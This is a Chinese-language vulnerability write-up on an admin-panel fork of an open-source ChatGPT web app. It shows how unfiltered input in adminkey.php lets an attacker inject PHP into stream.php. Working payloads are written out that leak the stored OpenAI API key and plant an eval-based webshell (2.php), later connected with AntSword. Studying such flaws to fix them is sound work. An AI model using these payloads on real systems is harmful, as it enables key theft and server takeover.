0X00 前情提要
前段时间OpenAI火爆一时,随着ChatGPT-3.5到4的发布,诞生出了很多基于API密钥调用ChatGPT服务的第三方开源项目。但是不安全的问题也随之出现,使用者怎么保护好自己的API密钥不被恶意攻击者获取,变得尤为重要。
上月某日,网上出现了一款开源的第三方项目来调用ChatGPT服务(https://github.com/dirk1983/chatgpt) ,其中某论坛放出了具有后台管理功能的二开源码,于是下载了源代码,在相关文件中发现后台未严格过滤用户输入的字符,可导致API接口密钥泄露和获取Webshell权限。
0x01 代码分析
先看下作者原版的代码,是没有adminkey.php这个文件的,而二开版本中也就是通过这个文件实现了所谓的后台管理功能。
下图是二开版本的源码
打开adminkey.php文件,可以看到进行后台操作,需要通过Authenticate标头的形式进行后台用户登录验证的,同时源代码中还写了后台的登录用户名和密码。
访问http://xx.xx.xx.xx/adminkey.php ,并且登录成功,只有更新API Key和更新代理两个功能。但是不论是该源码的原始版本还是这个二开版本,都是不需要数据库就可以直接运行的,所以它既然能更新Key不排除是写入到了本地文件中再进行调用的。
通过查看其它文件,印证了前面的推断。每次通过后台更新的Key被覆盖写入了straem.php文件里的$OPENAI_API_KEY变量中了。
再来看下adminkey.php文件中关于更新KEY这部分的代码,input标签中name属性定义的值为api_key,再使用预定义的$_POST变量拿到input标签传进来的值,也就是用户输入的Key,使用preg_replace函数正则匹配stream.php文件中原Key值的位置并替换为新key的值,整个更新key的过程没有发现有对人机接口做字符过滤或长度限制。
0x02 获取思路
a.使用echo函数打印stream.php中的变量获取API Key。
b.使用注释法令其部分php代码部分无法正常解析,插入新的PHP代码从而获取API Key。
0x03 OpenAI Key密钥获取
- 方法a获取:
目的在于获取存储在PHP文件中的Key,所以不能使用更新API Key功能,否则会覆盖掉原来的Key,但是我们可以在自定义代理这里插入我们需要提交的payload语句。
正常流程更新代理URL接口后,下图中的url会自动被覆盖掉,同时自动补全");
部分进行语句闭合。
这里我们先使用");
进行语句闭合,然后再插入构造的payload语句,上面提到不管怎么插入,系统会自动补全");
来闭合传入的参数,这样的话就没法执行打印函数了,所以直接使用注释语句/*
,来进行整段注释。
');echo $OPENAI_API_KEY;/*
此时我们去访问下存放API密钥的stream.php这个文件,已成功回显sk-开头的密钥了。
下图为没插入构造语句时,访问stream.php文件返回的页面
- 方法b
和方法a相同的是,为避免原来的Key被覆盖,还是在代理URL接口功能处提交构造的payload。
存放代理URL的代码部分相较于存放Key的代码部分在PHP文件的底部,所以使用?>
闭合掉php文件中前半部分代码,再插入新的PHP代码来调用显示APK key。
');?><?php echo htmlspecialchars($OPENAI_API_KEY); ?>/*
0x04 Webshell写入思路
既然能通过调用变量获取API密钥,那么写马进去是不是也能执行呢?尝试了下显然没有达到预期效果,相关函数会执行,但到浏览器前端不解析了,直接加载出了html代码,分析下原因应该是PHP文件中出现了多个<?php标识头导致的(即便有*/注释符)。
1.当前PHP文件覆盖写入webshell不解析,但是可执行函数、可调用变量。
2.利用可执行函数的特性,尝试创建新文件,在新文件中写入webshell。
0x05 Getshll尝试
使用“');?>”闭合语句,段注释符“*//*”注释掉Payload前后的原始代码,使用$file变量定义同级目录下要创建的文件名(2.php),使用$content变量定义webshell内容,使用file_put_contents()函数将webshell代码写入2.php文件。
- Payload:
');?>*/<?php $file = './2.php'; $content = '<?php eval($_REQUEST[a]);?>';file_put_contents($file, $content)?>/*
写入执行试下看
这里要先访问stream.php加载相关创建文件的函数后,才会创建2.php文件(网页预计加载3-5秒左右才能创建出来)
在服务器上看stream.php的文件内容是这样的,payload运行在前后注释符中间
使用蚁剑成功连接webshell
0x06 总结
前半章只是列举了获取API key的方法,同样的思路也可以导致ChatGPT服务URL接口地址泄露(如:";?> /* "
),而木马也不仅仅局限于文件上传或SQL注入写入等方式,通过对以上开源项目的测试,可见对人机交互接口进行字符过滤限制的重要性,映射到我们日常使用的信息系统中,还有很多业务功能的实现都依托于API密钥的调用,轻则API密钥被窃取,重则失去服务器控制权,可能会导致系统内敏感数据外泄、业务生产数据丢失等严重后果。